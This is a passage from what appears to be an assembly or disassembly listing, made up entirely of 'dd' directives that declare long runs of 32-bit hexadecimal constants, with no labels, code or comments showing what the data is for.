0B0727ED3h, 0C1C7A74h, 1067445Dh dd 0EA3BB970h, 2E9F0553h, 0C00E7358h, 1A679A38h, 0C9E4910Bh dd 3B84480h, 10B2A654h, 85C81F0Dh, 5E3EF0D7h, 0C83B2927h dd 0AFC01280h, 0B7A7D65h, 0A93FED35h, 45597500h, 0EF166F79h dd 0C4231811h, 7C4CB8A6h, 0A5080099h, 0A7F0294Fh, 540ED91Eh dd 0EC5628A3h, 32AAC091h, 6B9FFFBh, 9D0034E6h, 8747F077h dd 997FE9h, 0D2215D83h, 446C7091h, 0AE82192Dh, 4C460374h dd 62A2FA0Ah, 78F2B7h, 4F254B9Eh, 0CB1C208Ch, 7968D40Ch dd 2482407Fh, 4584180Bh, 0B17BC05Ch, 0C300A6B5h, 3DDB1283h dd 48E1D744h, 791DA442h, 1B2BC965h, 767B1C10h, 13C0A595h dd 7C7DD420h, 0CEA502E2h, 31BA4854h, 918024E6h, 0E8078E38h dd 0D579F677h, 0DC8A8607h, 5073D640h, 996C04D9h, 82763355h dd 0FF2E67A4h, 376F9400h, 1D3B619Dh, 0F8FEE3Eh, 12C03CE2h dd 0B097B5D8h, 0AD99E907h, 59DCD7AAh, 80D89415h, 0F144E5F9h dd 0B800D367h, 18D64EF0h, 0A86589h, 0F53E3340h, 0A99C9635h dd 3F78BE00h, 7E95E8Bh, 1FB805C1h, 0B4D6A85Dh, 0D94EF444h dd 10ECEC22h, 6E2C9A7Dh, 0E440B08Dh, 7EF1C12h, 8CEB07Ch dd 0E287A0E0h, 149939AEh, 7E2BCB83h, 1E43C0BAh, 44CD021Fh dd 179F12DAh, 0E8866080h, 2F1DF0ADh, 5A03D268h, 0FA619811h dd 2A9060E9h, 67750346h, 918C2D36h, 0BFE373A0h, 10048725h dd 0A5E638h, 6DF20182h, 75AB40E9h, 0C2208004h, 8C88F3BAh dd 0F8EB004Bh, 9050AAA6h, 7A07A5AEh, 0E12F74D3h, 1F0941E1h dd 0EC60C060h, 793A0828h, 61802D80h, 0C9AC8B31h, 5A702D8Ch dd 82E3C91h, 2071487Bh, 8761DB82h, 2FE8B463h, 0C93CD0DFh dd 0A69C04BEh, 0E4C005EFh, 987134h, 607CD66Fh, 877D1937h dd 8553Ah, 0E07F62D9h, 4BD68A23h, 571E8010h, 0EEE8648Ch dd 9D0B08B8h, 0C9DAB3EDh, 5F10653Ch, 980E9CBCh, 0E0B0200Ah dd 5908F0A0h, 7AB7DA2h, 0EA3FFF6Fh, 0DBD7D025h, 2407D4AEh dd 74490EDAh, 0B6D573A0h, 79D33C23h, 80D15937h, 9408E0DAh dd 0CD408C9Eh, 0A024C6h, 4AC716FAh, 464F4733h, 7A6E7C00h dd 13C2FB75h, 1047FE2h, 9CE4866Dh, 4C6F262Bh, 842F98h dd 0CEC7C3F4h, 0B0339138h, 0BEE9FC39h, 0AFD78095h, 47BD6308h dd 190BE81h, 7DD10AD9h, 7E79D48Ch, 0A891C8B1h, 4E93273Bh dd 817A1CE1h, 86181EB9h, 54FADCh, 0BD368240h, 0F14F1D57h dd 1C285673h, 2ED4E834h, 2CADE85Eh, 0CFCC0040h, 49A8E9ACh dd 19AEB201h, 737F5B87h, 475F848h, 0E9A2C825h, 0BA15812Bh dd 838C68AAh, 0F08C02CDh, 54F4FA9Eh, 41B8062h, 54500E78h dd 4412C17Bh, 28B0702Fh, 92BAC407h, 19207203h, 0C4FD7D79h dd 409B12E1h, 5CDF7E5Fh, 0DD033F30h, 6DAD017Dh, 0BEDE1AB4h dd 40F42042h, 0D095F416h, 31169E04h, 0FC8050A8h, 238784E3h dd 0E8F324F6h, 0AE586B4Eh, 198A012Ch, 0DAEEAADFh, 627BC180h dd 0A3C477EAh, 9543D00h, 17D0B1DBh, 0E180A831h, 0C9810043h dd 0F1592E2Ah, 300A4ACh, 91223B80h, 703471h, 6E877B4Ch dd 0CC9FB05Bh, 1DA7D603h, 0E143079Ah, 0B02D8D62h, 0A3957702h dd 0ACC682BEh, 0B6C4E900h, 886A5D93h, 0F4143EB9h, 0FBA96C0Ah dd 0C02746B4h, 0EE86381Dh, 6BBC8900h, 9C50A22h, 1C673356h dd 59078C79h, 0DCA1AFE8h, 44F2F9AEh, 0BDEA241Ch, 3E1201C9h dd 0CF7A20A7h, 2578EB0h, 6174C509h, 7884D28Dh, 0D426013Ah dd 0B0DC2BFFh, 331DCAEh, 55CF3C01h, 60BE3011h, 731470h dd 18BDF0C0h, 2B200E31h, 846E2F24h, 44E2C64h, 0E0C4A4B2h dd 636FB500h, 0D30D3FAAh, 0B814B682h, 0CA19B080h, 11A90ED2h dd 9BF66E00h, 0E85B4A6Ch, 10AE6BBh, 987EA677h, 6217B4C6h dd 0D25008Ch, 0A01C8633h, 0A13D581Eh, 49F07F00h, 0EAE2B7D8h dd 10DC8B50h, 47B81860h, 4D4B044h, 0EDB48CD5h, 634089ACh dd 0AA7400B8h, 9287BC0Eh, 0EA320963h, 44641513h, 25A5D400h dd 0EB7E6DAFh, 8CF54C7Ah, 5F605C30h, 7100A96Bh, 0BDFBBB6Ah dd 48DE6C60h, 3B24C448h, 85E038Ch, 71978C66h, 8012879Eh dd 137599A0h, 0B10C7Fh, 0A31FB7E9h, 5387AFE4h, 9720213h dd 11475430h, 0CFF8000Ah, 4A5D37E3h, 8B002F76h, 0C4DBBC20h dd 3A64CC07h, 74809D6Dh, 0CF246CCAh, 97F8812Ch, 1EBF9B18h dd 0B1D678h, 953185Bh, 7E8516BAh, 4274412h, 5F81D401h dd 202AC81Fh, 0AE501984h, 0E6051100h, 0BD9042D4h, 0EB630178h dd 5116F239h, 8FCC4815h, 2D89B80Fh, 6586A04Eh, 5007960Fh dd 0F558F4Ah, 0E48B22B6h, 260BD960h, 8F5C0928h, 80585C8Dh dd 211F656h, 708E4C88h, 8FEC3480h, 0D00BE5B9h, 907D7BAEh dd 602204E8h, 0C202A956h, 0D61DB708h, 304B7E99h, 243005F5h dd 0E410D402h, 514C60B8h, 409C946Eh, 0E3B3D3BDh, 9926E4E8h dd 150594BAh, 88004405h, 0B1208A37h, 6D4A0AB9h, 608CBC01h dd 5DEC2B89h, 45478700h, 3ED5167Ah, 139F00D8h, 26F16376h dd 9302702Bh, 0EF11877Ch, 4D0D9AFh, 80D663FCh, 4CA46E0Ch dd 5AAC0AC3h, 0BA6A8078h, 6C70268Bh, 0BE0300B8h, 0C8F55237h dd 1718C300h, 0C7FCD926h, 34660468h, 0B484ED9Fh, 270014F0h dd 3E153C74h, 1813F71h, 2BFCDA54h, 2D119522h, 795300F4h dd 0DBE14B02h, 0CA07022Dh, 7EAEC217h, 0C8106CE2h, 0A502FAC4h dd 8F1BC761h, 916200Ah, 9A00AEC1h, 0C6B3FA19h, 0AFDD2Ch dd 521237A4h, 8BFFB6B7h, 0F40C7812h, 8A5834D0h, 91EE12EDh dd 0E880C974h, 0AB0EE449h dd 0EEBAF117h, 0E26B01B0h, 8832E0AAh, 39B1C300h, 2BE88EDDh dd 0E091822Ch, 0F9007911h, 548DA2F1h, 0C375A349h, 0D6C9500h dd 984CE2C1h, 44F890A6h, 0C00DCADh, 0D00DDA25h, 17E96C7h dd 0B662475Ch, 0A7A212AEh, 6E941878h, 4718BE90h, 0C821AF20h dd 0E0BF6C9Dh, 5102FC41h, 6D0F90D0h, 0A8F216h, 0D823C701h dd 7C0BE4E3h, 614F9E00h, 29BCF9D9h, 576324B5h, 0EB6E07FCh dd 6FDE80EAh, 0D4B917F5h, 9C84E039h, 4BD7AA06h, 4FD088E8h dd 6F08F289h, 7900E571h, 1AEAB147h, 3DD69ACCh, 3E0CE18Eh dd 0E02962F3h, 9FBAAB00h, 86972835h, 6BC70603h, 61F081BCh dd 9EE88D00h, 535ABA83h, 0AA3D0042h, 443AFA96h, 3314C161h dd 228F25Fh, 0F132284Bh, 787440ECh, 9758B66Ah, 488207Dh dd 7109927Ah, 5A81AE20h, 0DF1C0088h, 6F0BD78Ah, 537CC627h dd 18D31001h, 17977574h, 0E4004C69h, 0E6DE4A1Eh, 8315B7C3h dd 5885BBh, 94077509h, 1CD59CECh, 0C0E67B1Eh, 7F8D33D9h dd 910719C8h, 8BD87A79h, 0D031BDA5h, 57EC4DDCh, 0C4702C0Eh dd 7F270016h, 3DE6AC9Ch, 8E3E013Ah, 0A0E0C362h, 0AA829584h dd 89089C58h, 6C181478h, 0E10A0839h, 84956DE5h, 0F8008612h dd 97F9D6Ch, 7D4107ACh, 0C0312CCCh, 7E63DDD5h, 0B5DE7300h dd 0D47980E2h, 3C8C0059h, 71A39752h, 0D9387CB2h, 0DA1F06B1h dd 2E50B5AFh, 4E2C8EFCh, 0EB2A27C0h, 2B13BA97h, 6C044A76h dd 0E8C0FFD3h, 0E3C7F2Dh, 285573F1h, 45B8D560h, 7E1CB44Eh dd 0F4268D15h, 0D88BBC0Ah, 0E0F29A12h, 0CFB1C400h, 0C3C13C65h dd 0A0BD8F4h, 0E816F0C9h, 91B03Ch, 51A7A307h, 8B1F080Dh dd 0CC0079ECh, 749CE910h, 0BD15483h, 0EE04BBECh, 0ABB83480h dd 64B1F380h, 0DE323D00h, 358FE60h, 6D0A726Eh, 7DB89478h dd 730A2205h, 0CD065F2Ch, 8F186804h, 459CE4h, 213F497Bh dd 0E9A9BA1Ah, 7917C109h, 92C4576h, 6680DBF5h, 0F3B93FCAh dd 0DD0C7D01h, 120EC542h, 0BC2CAFD1h, 5760998Fh, 8C985021h dd 1258D675h, 24141D04h, 0D9A6EF00h, 441526Dh, 0EDA7D760h dd 20B8CC87h, 2EE8F49Ah, 0CCF3BB24h, 13C68049h, 16C8806h dd 0D02CB541h, 0F4B7DBE4h, 0FA52AACEh, 1058E8h, 0BB8C72F3h dd 506332Bh, 0EE14F5DAh, 924B3AFh, 72F3D7FBh, 821F0720h dd 200BD2ACh, 0E674E364h, 0A49E4200h, 270D0913h, 0AB67754h dd 0DEE57EBFh, 0E4642594h, 0E02731EEh, 3B2749Fh, 0E6EFA970h dd 949153h, 0D6AD9D8h, 7AC2B9h, 0D1EB8FC9h, 432CEFADh dd 0C8013201h, 0D93D7D55h, 80B474FAh, 0BE1BD75Dh, 8EB84E65h dd 0DD9CC509h, 0B8009082h, 19EEACh, 266F68C3h, 180A1389h dd 0AA97250Bh, 20717Bh, 0C05F8594h, 67508FD1h, 0E0B0394h dd 462D2BACh, 24F7E060h, 3802FF5h, 8C94C598h, 65626D80h dd 0A76A7900h, 15C2037Bh, 0BED50170h, 1C9698A8h, 7C36305Dh dd 0A9AD6013h, 3BCCE889h, 672A0056h, 5ADD7610h, 0C73DBF18h dd 0DEBB0072h, 8B53386Eh, 0D0B95887h, 517F4800h, 0D3CED973h dd 1D82E48h, 2DDA8F20h, 6B919Ch, 1F889045h, 0C000A27h dd 0FA79B892h, 8D5C23h, 0FE578586h, 0BD966893h, 4915D00h dd 0FF01F5E3h, 58BC070Eh, 0D041023Dh, 2B6E3663h, 3F003472h dd 9037F6CDh, 1C3069EBh, 8018D67Ch, 86EFF129h, 40CE13C9h dd 0CF66A06Ah, 0DFE65A5Eh, 79B50050h, 1141E5BAh, 0F4691D00h dd 9BE160EFh, 0F617EAABh, 0FF28C006h, 46BECB8Fh, 0F3EA4700h dd 0FB19D202h, 3E2B2C79h, 7BFC01E6h, 0B9EC1D42h, 26A90031h dd 0D6CC443Ch, 313874A2h, 0E779F586h, 0D5299C05h, 406709h dd 0E21A56F0h, 776CFE02h, 0A5920085h, 96F60C16h, 7C006B39h dd 0D3608DABh, 0C382677h, 0BF82E641h, 610057E1h, 0E17CBD9Fh dd 15EA9D8h, 2A3F93DFh, 8119954Bh, 0BA300E40h, 48831F20h dd 0CE272378h, 857F413Fh, 3AEE5177h, 0A5627AC0h, 9C94003Eh dd 176E04AAh, 0C1C1E459h, 70AB0CD4h, 44D6FCh, 6B491543h dd 7367DC96h, 822EEA07h, 1CB60F97h, 0CD2730E9h, 0A1DC8469h dd 0BDFCE100h, 38EF8A90h, 0AAEC0010h, 0CCA32285h, 1E88E092h dd 0C041C01Bh, 4A8874ABh, 0B17B4600h, 0F5105FACh, 0C32800E4h dd 70625089h, 5510FE45h, 677FF05h, 5A653725h, 800051E3h dd 0BD3F10B3h, 1DDD13Eh, 0F1AC79C6h, 0F0195FC3h, 2F0AB07Ah dd 0DC20B410h, 48FE8803h, 0D9510014h, 0E75D197Ch, 0CC18C57Bh dd 0D859F78Eh, 0D75E0089h, 0C79301A9h, 0B9C0021Fh, 4710D2F9h dd 1AA00084h, 4F20D860h, 0E1302822h, 0F0B85811h, 85420173h dd 0CD59622Ch, 921ED825h, 6011A05h, 600158C8h, 4178FA19h dd 0B21CF0h, 9B6766E0h, 0C415F2F8h, 0AB369D0Fh, 283802ECh dd 2AB8A0D5h, 3298746h, 0BCE2DE03h, 82D8EB66h, 714810E6h dd 0B5D98058h, 0C8FC32B4h, 1E8CE7D8h, 3D722104h, 0A09E4FCBh dd 97E48007h, 0CB9F673h, 0BE926B04h, 30C3598Fh, 0CDD4A890h dd 7C5206C9h, 896101A3h, 0F90FBC7Ah, 62DECC2Eh, 60F2D989h dd 3CEE0Ch, 16E88FE2h, 7CFA1C79h, 0ED64A578h, 4640FE80h dd 0B2033ED5h, 88C90103h, 0C8891258h, 7FC0F7A0h, 0CCF050E0h dd 84CC11BFh, 90E412FDh, 0EFAF9020h, 73180626h, 59EDC710h dd 0C1608C00h, 5B3EDD7Ch, 75BE00C9h, 0A6B17F05h, 2F481CD7h dd 0DC5C01F0h, 0D39DFDD6h, 2A684AD4h, 0E0E228h, 3285ACBBh dd 0AD3159E1h, 0EF008276h, 0AE92F454h, 186EA91Fh, 89D42867h dd 0E1EAAFF2h, 91ACD01Ch, 842BDE40h, 7AE7F943h, 34C448BFh dd 23DC71Ch, 2938CDDh, 41370C77h, 5A2E0915h, 0B9842984h dd 0F55480B8h, 64249FEh, 8DB14A00h, 3D2F0D31h, 0CCE8C870h dd 8CF57B29h, 5D05BD91h, 282EFF2h, 73105C08h, 0D6120C44h dd 98007F36h, 3269F158h, 1F911B5Eh, 71004CF0h, 3DB64170h dd 0A6C593h, 19C79287h, 0A7FA0D4h, 4638C8F4h, 9528F7F5h dd 8A006429h, 894BC285h, 9D69C09h, 276968E7h, 21C38C10h dd 0A300B27Ah, 96896AE2h, 7F24FE71h, 902E0760h, 925459C4h dd 2440F115h, 99012CA0h, 0F73230D3h, 49F05D04h, 5B9E0EAAh dd 0DF6068B3h, 5E3789B0h, 0CC302D04h, 7488F27Dh, 0F8CF88EDh dd 3531B900h, 8D37F75Dh, 96740087h, 0E9915C33h, 0FF0C3DFDh dd 0A9E3284Eh, 0F31748BBh, 9A491A00h, 6311B07h, 0E58C400Bh dd 4CC80B9h, 0A8B4C9h, 7463E08Eh, 92E30EA1h, 46EC5D03h dd 0F00AC64Dh, 3CCFE4h, 0B806A873h, 16C9A615h, 9200657Ah dd 6B746E0Eh, 0F8F68A9h, 6D1ACB86h, 80FB1CE5h, 1EEE9CA9h dd 0C8BF3B06h, 31953Dh, 0FFDB3F77h, 0C9EFA588h, 980FDEE2h dd 46FE6C04h, 77289FD0h, 0FFB30092h, 0A08ACCD8h, 7005FDCh dd 0D5D4632Bh, 3C69117Dh, 0E718DB02h, 66A1581Eh, 0DDC1BA00h dd 0D4EADEF4h, 500C001Fh, 0B4189327h, 0F1006CB2h, 5401FD45h dd 0F04920C5h, 0D9CF01D2h, 8D9EC79Fh, 9684516Fh, 718AE0AFh dd 14E911C0h, 8966EF7Fh, 0CB723013h, 0A9900F00h, 5625F16Dh dd 9694071Ch, 312D3075h, 0C3F01E81h, 0A26E3000h, 337F40Ah dd 54D50E88h, 4C4C9E95h, 402BC51h, 3E997964h, 0CE94A08Fh dd 12EAB66h, 0DF43A2E6h, 0D4490709h, 0F501D386h, 0DB875FAh dd 0D8806292h, 65A95AB7h, 1E18F0B3h, 94791DE7h, 3A8A3075h dd 0A3904560h, 0B0BA5814h, 0D4513AB8h, 9B074138h, 0FCB6EE43h dd 66149C70h, 0E353029Fh, 793D3060h, 96001446h, 0D464CC82h dd 0F032200Bh, 3D510087h dd 0E6F8F6ECh, 1EF41937h, 8002CA29h, 0EBF72007h, 0F74E75F3h dd 971547FFh, 0EDB094B7h, 6722A5F6h, 5E8AA0E0h, 885C0A82h dd 0B207208Eh, 9EBB40E5h, 0C0C0753Dh, 0E84CBD5Dh, 1A3E8DAh dd 4B44EA20h, 8168EC0Ch, 985FCCA9h, 0B9F7E5FBh, 3883D7E4h dd 433E92E9h, 7000F8B6h, 82E833C6h, 726B60h, 0D17E02DEh dd 8B058C4Fh, 0B5EBFD00h, 80625A9Bh, 288C9894h, 5C0A689h dd 0E1240A27h, 0E48C214Dh, 0EDB1D417h, 4C92E775h, 0CCA05C00h dd 22BAA935h, 0A2843FFAh, 43BB2300h, 87DDB34Eh, 20E91F6Eh dd 672492A8h, 0A30F0189h, 97D31004h, 0ED2020ADh, 0BC1FB400h dd 3ABF2FEFh, 84601E23h, 0C11607CDh, 826C946Dh, 90206854h dd 587A94FDh, 703D7E9h, 3B2004FEh, 6C993Dh, 366A0C45h dd 12D548F7h, 40873D95h, 0A3D4A508h, 0E40267C1h, 287FB90Bh dd 4C64407Ah, 0AF940090h, 975B5EC6h, 6B01E36Dh, 0E2DBF956h dd 0ABF0C984h, 3E678893h, 7A294700h, 0A1C022B8h, 0F0985048h dd 0C2DA075Fh, 0A1783F75h, 804A8E9Dh, 4E5B65B9h, 381B3511h dd 30E43D9Ch, 521480FCh, 9550B033h, 300011C0h, 2635172Fh dd 4E2D780h, 0DAF078B6h, 71E882D1h, 7FD44020h, 75E4241Eh dd 90FC63C8h, 5D035001h, 62EF8517h, 0DF9D3182h, 3BC12582h dd 0FEDBF0F0h, 67E13519h, 0B1C83C21h, 73290470h, 83954793h dd 0D888E340h, 0F1076AD2h, 9786692Eh, 5EF263D0h, 383749A8h dd 0C009E915h, 245FA2Ch, 69E40562h, 0DB980240h, 47619300h dd 530271FCh, 0D08064AFh, 9C288C7Eh, 0AB89180Eh, 81E8E0C8h dd 0C3F9ACh, 44233428h, 2B87CB33h, 1E489F40h, 0C3242D22h dd 0BD9907A2h, 0C11AC6D0h, 38DC403Ch, 15A906F6h, 0CB8D1F7h dd 9B283368h, 1307F4D0h, 89817924h, 0E47D6D80h, 1E0514A8h dd 0C480A4EFh, 0E3435A20h, 9366E902h, 40F1FCF5h, 5F95F0Ch dd 0BF164D95h, 0FAFE8796h, 7CE900E0h, 0D8FDF563h, 86712B14h dd 20CACEBCh, 0BAD16E78h, 3B19020Ch, 60E0BE3Ch, 93988F20h dd 0E31B075Ch, 0A023E5FFh, 830FC23Fh, 4B4DAD04h, 3C90963Dh dd 99C563Ch, 6FA6FAFCh, 0CCBBF084h, 79502EE8h, 72ECF5E7h dd 3D4F9100h, 7FD6AD3Fh, 0BC7D4Eh, 0B290DBDCh, 0AF386DB8h dd 0BDC91000h, 996708B1h, 508DE60Eh, 0A529476h, 15E8FF8Ch dd 0B0A080D0h, 0D2EE8762h, 961E0300h, 53C3E690h, 9C3E582Ch dd 0F55F6380h, 897E79C2h, 0A554A400h, 8858B0C9h, 0C71600E8h dd 7F95E301h, 0DA168687h, 5022809Eh, 0E988408Fh, 0C03D7C90h dd 0AD382B51h, 0FA1D925Eh, 71C75028h, 90D0155Bh, 26BDB137h dd 403488DFh, 8F8E685Dh, 0C3B8C600h, 1EE908FFh, 217760CCh dd 0EE67F09Fh, 0BB52A802h, 0C0C9871Fh, 90A4961Ch, 9D400CF8h dd 43888145h, 39068830h, 0D4EF0Dh, 0D5C2D0C5h, 5C15C73Ch dd 0B78C400h, 9D66B827h, 0C9706581h, 0F6A00077h, 0B6E83562h dd 0ED3C488h, 19815089h, 0EE69856Fh, 8090D404h, 73C4E930h dd 0F9943E30h, 5C030DFCh, 0F026C17h, 9C2D6D88h, 5EE1F460h dd 67149F50h, 117EBB00h, 3D424571h, 87DF18F7h, 5ECFB904h dd 0A3A92900h, 0DB180667h, 0C3AD1813h, 3887CFDh, 0DC009CA4h dd 8E67719Bh, 30CEFDFh, 95308328h, 0C10E12E8h, 4086E0C7h dd 1C79AFC6h, 0D49A01FFh, 0E14AF1C2h, 974E070h, 84306700h dd 38F380C7h, 0EFF50336h, 111C04F8h, 89244973h, 680E429h dd 0C5BEEE9h, 68AA2D46h, 0F507B05Eh, 312C1D04h, 0A8A00767h dd 42EDD361h, 0AC44E35Eh, 0DECE4B00h, 72C290E2h, 24A6B0ECh dd 40ACEFB8h, 4F3B9F17h, 0CD186A07h, 38A1310Ch, 0C760C9D3h dd 0A89B00B9h, 958FDE56h, 1D0F6586h, 0D7521F96h, 0E9BB9500h dd 39461E71h, 0A600F356h, 53B9B48Fh, 0D251DB15h, 31642190h dd 81B8086Ah, 8B407607h, 85B3AA6Ch, 0CB7DABA5h, 0E0D09A28h dd 91819C4Ah, 0ACAC78h, 4E4F318Ah, 0D648B956h, 504C2288h dd 268FAE34h, 1C0B28Bh, 172B853Ah, 125432CAh, 4478A3Dh dd 0CEC256D2h, 516B408Bh, 13AF2462h, 1AE060CCh, 0C900A241h dd 19221FC1h, 7CC700Ah, 61C077AAh, 93E4A029h, 0F3098357h dd 649F80h, 40314812h, 0EC5900A3h, 0D6D95DDh, 33025C24h dd 0E7964629h, 69D4A014h, 0B243D6h, 0D24752E8h, 0E97D4FB9h dd 0C8F0DF07h, 0A4432610h, 0F515E00Dh, 0B8620EA5h, 41380604h dd 9F24CE3Ch, 0C02C4F4h, 0E687F0A2h, 9BD100F8h, 0CC9912ADh dd 89603D55h, 0D5E3FED9h, 1788011Eh, 0E8C25067h, 1942095h dd 9F4029F4h, 287196h, 31D06376h, 40C973Dh, 935B7701h dd 0E8EE03E4h, 0B6004462h, 63274036h, 81A033EAh, 1A02100Eh dd 0DFA29002h, 0FE3044E1h, 0EF07334h, 0FC24380Fh, 0B502A9C0h dd 0CD13B9A8h, 400D7A3h, 9D546EBh, 23EF0AFDh, 40F0E0AEh dd 81C13255h, 5FC2658h, 0E654E84Eh, 0F7AA488h, 0E74B1891h dd 0FC66EF80h, 6901872Fh, 0F6E43E5h, 0E889A011h, 2423977Bh dd 9099518h, 809B4AA8h, 0ED1E58A8h, 987309B2h, 1C909E5Eh dd 8E1DAC5Fh, 2FB867Fh, 0E51E06B3h, 27492C75h, 50472894h dd 4F8DCEC0h, 340301B0h, 4ED65F45h, 1760E63Ch, 237A75BCh dd 818A7409h, 114C810Dh, 88D06D45h, 0F6E20009h, 0C0804D8Eh dd 7493DA6Eh, 0D10D013Eh, 47A890D3h, 485CE070h, 4516047Eh dd 0A94020E7h, 82008F7Fh, 14300395h, 15D611CAh, 800B44D7h dd 6EA37807h, 0B84E31BAh, 92D261E0h, 84303A18h, 0E555C1h dd 3B2BEF2Ah, 99DAE957h, 5EF7DD00h, 881B439h, 883D3070h dd 51509D31h, 0ACE03307h, 0D570AF79h, 0D0773BE2h, 4E0AC0E8h dd 809C1C88h, 0BCD6C9A0h, 0F77CABDAh, 0C000C99h, 0E043953Dh dd 1C58E462h, 0C10A3B41h, 61337412h, 282439A9h, 0D205951Eh dd 806511D0h, 84E65C0Ah, 0B8B17640h, 0E79D07A7h, 0F1F839h dd 0D39BFBFCh, 0E2F2F550h, 4574681Eh, 8E61878h, 0EC12F39h dd 0E509D880h, 0B06950E0h, 6700C988h, 531B0DC8h, 8744241h dd 0E752143Fh, 4BB38341h, 0E1AE2E4h, 0E6D39065h, 78509CC0h dd 2912FC09h, 1427AB61h, 0E05CC8E9h, 87DE0059h, 0D55B4437h dd 970347EFh, 7B32D383h, 84C8AC9Dh, 0D4284986h, 8581CE03h dd 27D8ECDBh, 0B0D5D22h, 3CF68F42h, 0F0EDA8DFh, 66940090h dd 0D014EF38h, 0B9787825h, 4204F5Dh, 95805E4Eh, 30739C4Fh dd 819E90B8h, 0EC114B60h, 4CFFA04Eh, 4D047097h, 0A0CFB3FCh dd 1715FE74h, 0E00586h, 0BE8E387Eh, 3F89422Fh, 7D00BA6Ah dd 0EB7965E2h, 85804FFh, 0F0D08058h, 0CAFCE16h, 9E7C792h dd 580F7B19h, 9F35AD4Ah, 200DF64Fh, 6E77E614h, 0DDBE0073h dd 0FF20B837h, 0AA32AB06h, 2993C8BFh, 192AC80h, 1D25459Ch dd 0E9049990h, 14F378C8h, 7CA2A85Eh, 0F5753D00h, 0AD4150F9h dd 3A07B8ECh, 562816DAh, 83299CE6h, 7C3C80CEh, 6BA200B0h dd 4B018C2Ah, 0ED00C680h, 8EA4AE4Eh, 7FD60F6h, 832A8D45h dd 89F98126h, 0E1D4EDEAh, 4CBC4019h, 40A4F45Eh, 0C43E7929h dd 0D5F94200h, 5C884A41h, 1C80AC87h, 0B926C740h, 93246B00h dd 0DA4C663Fh, 12A00D2h, 0D1A34EB4h, 0FA10F6EDh, 570280FBh dd 879E3550h, 65280872h, 21023C82h, 704D540h, 87A1000Ah dd 1112B189h, 9007B0A4h, 9049615Bh, 0B76C84h, 6ADED980h dd 1E83BE3h, 0C0B239CFh, 5AC2E153h, 2F863834h, 8719A84Ch dd 70F4F0D5h, 0E022F948h, 3F8C0061h, 401458BDh, 0C87315A5h dd 791C5BEEh, 0A8404189h dd 0BD317F12h, 0DF82007Ch, 88C3E235h, 0D0C896A7h, 90869654h dd 0A4B79A18h, 0B883FC00h, 0F6BBB91Ah, 456200C0h, 2C18A0Ah dd 0EC0025DFh, 942F9158h, 14DB095h, 0D09D5BEDh, 0C3E79390h dd 0BD19D100h, 1811088Fh, 8A7C054Ah, 0C57B1BE9h, 0D004D0C8h dd 87048F81h, 88F24FB2h, 17FB8B4h, 0BC187441h, 0F962BF01h dd 0A581433Dh, 70B009CDh, 30214C05h, 2CDA15F8h, 0AB686D05h dd 0D030A95Eh, 963E7F53h, 1FCA8068h, 261D1E64h, 783D3626h dd 0CC3A3B40h, 5E0D1CA1h, 0A6A84343h, 2BE8BAB8h, 951E037Ah dd 8ED940D8h, 341006C0h, 21301F05h, 0E4748A90h, 0ED380BC6h dd 5AF86942h, 0EC61509Eh, 4C156F6h, 945D64C4h, 0E3F24088h dd 0A70B0C50h, 0F308668h, 1B8E4BA3h, 24CEC124h, 0BC9320h dd 0EAEE995Ah, 0B726590Dh, 2BE3271Fh, 0C0A342CFh, 1D04C523h dd 16C4A91Ch, 0BC001822h, 7DD97289h, 0CB1E1278h, 2C0082A5h dd 216D33FDh, 0EAED7D97h, 0F647002Fh, 0D0554167h, 25003517h dd 68F0990Dh, 1ED9DAF7h, 0E43D9EDBh, 6C44397Ch, 443F3807h dd 23C41683h, 0D31590F4h, 0AC8C1C40h, 0ADE760F0h, 137A22C1h dd 27486C00h, 0A5EC5C1Bh, 8FAF0267h, 29D12EA7h, 1E88B060h dd 0DDFE94A8h, 21678200h, 49BFCC41h, 228A2896h, 3E943A8h dd 0F5DF44A3h, 35C880ACh, 0F637D0Ch, 0EE1FAD07h, 0CC849589h dd 0B365404Ah, 0B4F11150h, 314F8094h, 80D77E93h, 60910090h dd 1C2CC8Bh, 9A90BC0Fh, 3B0FE8E8h, 0E8611E26h, 2D369E10h dd 0CE904CCh, 2C25E08h, 0D34E05Dh, 11499E6h, 0DBC20FC9h dd 0A2E28470h, 0C580F17Dh, 0BAAD298Eh, 21B41D30h, 9EF343F8h dd 592869BBh, 70F95487h, 0DBB81B8Eh, 0C5832C80h, 77F79000h dd 721F5F07h, 4FA7EB7h, 0D0069D8Eh, 0FFD880DAh, 10B6950Dh dd 0C9A93200h, 5304F258h, 2F0CE812h, 2DB8608Ch, 2300C89Eh dd 4E98E8A2h, 0DB8F2C73h, 877B0BEFh, 1C95A810h, 0CF6F9700h dd 26192E9Ch, 0E4A37953h, 0B477765Ah, 0D398408Ch, 100205Fh dd 1F4780B6h, 45A4856h, 490642Fh, 31A8CC1Ah, 52CE8809h dd 41C887C6h, 0B880F0E0h, 6C590517h, 3EC77Eh, 0D6AB372Ch dd 6A144622h, 60D0E3F8h, 85217D49h, 0A0CD0071h, 351EA89Ch dd 8E499E27h, 0E04C9CD0h, 60A5B0EAh, 0AA4A70F4h, 0BD16594Ch dd 48039670h, 9897A830h, 6023E1h, 7622EFA4h, 0C31838C9h dd 0AC500912h, 802C3010h, 0DD9F2F0h, 5ED402D1h, 9A6155B3h dd 14149441h, 5C00E0E2h, 83F14708h, 32002749h, 0B8739C6Ch dd 2C0B6716h, 40CA131h, 0A20D89FBh, 0F10079E0h, 11A8B562h dd 286AD387h, 1EE7EACFh, 0ED19C325h, 0EFE64800h, 14B69C71h dd 393744CFh, 4B0044A2h, 19013C96h, 0F6901D58h, 0AB68EC50h dd 9B62E50Dh, 25CAC07Fh, 0FF48B064h, 0F49D5E24h, 658C9C41h dd 20873992h, 53843FE4h, 7EB7B02h, 718F47B7h, 0ED8301FCh dd 31536A33h, 4B6D8AAh, 0CB0119ECh, 1F1E02D6h, 0B421CE90h dd 0C69F6001h, 0C8BADECCh, 3C800690h, 877FAE1Dh, 75E2001Ch dd 80E0C331h, 0AC01396Dh, 4178D63h, 1866E46Ch, 78272458h dd 0FA098C90h, 0A6040A00h, 2C40F16Dh, 19731C8Bh, 7AF48E1Eh dd 1880D3ABh, 0A252AA06h, 8A432009h, 25E007D4h, 0EFF308F0h dd 17221672h, 0F80C88E2h, 4B934E04h, 108115C3h, 7CF72BFFh dd 403CB690h, 47EB710Bh, 863A1E00h, 0D7A5092h, 759100D2h dd 77B7E36Dh, 0F6001A81h, 0BE25025Dh, 370B33E4h, 0D5596188h dd 5438E0A7h, 69C43502h, 723EF8A3h, 657500E4h, 2047091Ah dd 0C13CEB9h, 0A809DC6Dh, 0EF5C85EBh, 340D980Fh, 96680780h dd 1C778E22h, 2680B4AAh, 